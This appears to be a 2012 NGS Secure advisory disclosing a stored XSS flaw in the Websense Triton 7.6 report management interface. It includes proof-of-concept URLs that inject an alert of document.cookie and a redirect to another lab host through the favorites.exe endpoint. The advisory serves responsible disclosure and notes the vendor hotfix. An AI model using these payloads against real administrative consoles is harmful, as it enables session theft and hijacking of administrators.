======= Summary ======= Name: Websense (Triton 7.6) stored XSS in report management UI Release Date: 30 April 2012 Reference: NGS00141 Discoverer: Ben Williams <ben.williams@ngssecure.com> Vendor: Websense Vendor Reference: Systems Affected: Risk: High Status: Published ======== TimeLine ======== Discovered: 2 November 2011 Released: 2 November 2011 Approved: 2 November 2011 Reported: 2 November 2011 Fixed: 2 December 2011 Published: 30 April 2012 =========== Description =========== Websense (Triton 7.6) stored XSS in report management UI Websense is one of the world's best known web-filter products. Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript in the context of the administrators browser and the Websense administrative UI. The exploit would require an attacker to: - Gain access to the reporting UI using the attack described in NGS-00138 - Request a crafted URL which stores some Javascript in the favourites XML file - when an admin view the page the Javascript is executed ================= Technical Details ================= I. VULNERABILITY ------------------------- Websense (Triton 7.6) stored XSS in report management UI II. BACKGROUND ------------------------- Websense is one of the world's best known web-filter products. The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products http://www.websense.com/ III. DESCRIPTION ------------------------- Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript in the context of the administrators browser and the Websense administrative UI. IV. PROOF OF CONCEPT ------------------------- Affected URL: https://192.168.233.30:9443/explorer_wse/favorites.exe (though I believe there may be other affected URLs) Examples: Alert pop-up containing the cookies https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10- 29^rnd=936737^&favName=--------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- %22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3b%0D%09alert%28document.cookie%29%3b%0D%09//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10- 29&vrn= Arbitrary redirect https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10- 29^rnd=936737^&favName=--------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- %22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3bdocument.location%20%3d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%33%33%2e%31%31%2findex2.html %22%3b//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-29&vrn= In these cases when and administrator subsequently runs a report, the javascript is executed. There are other ways to execute Javascript when the page is initially loaded (but I thought this was a good example). =============== Fix Information =============== This issue is addressed in Hotfix 24, which can be downloaded at: https://www.websense.com/content/mywebsense-hotfixes.aspx NGS Secure Research http://www.ngssecure.com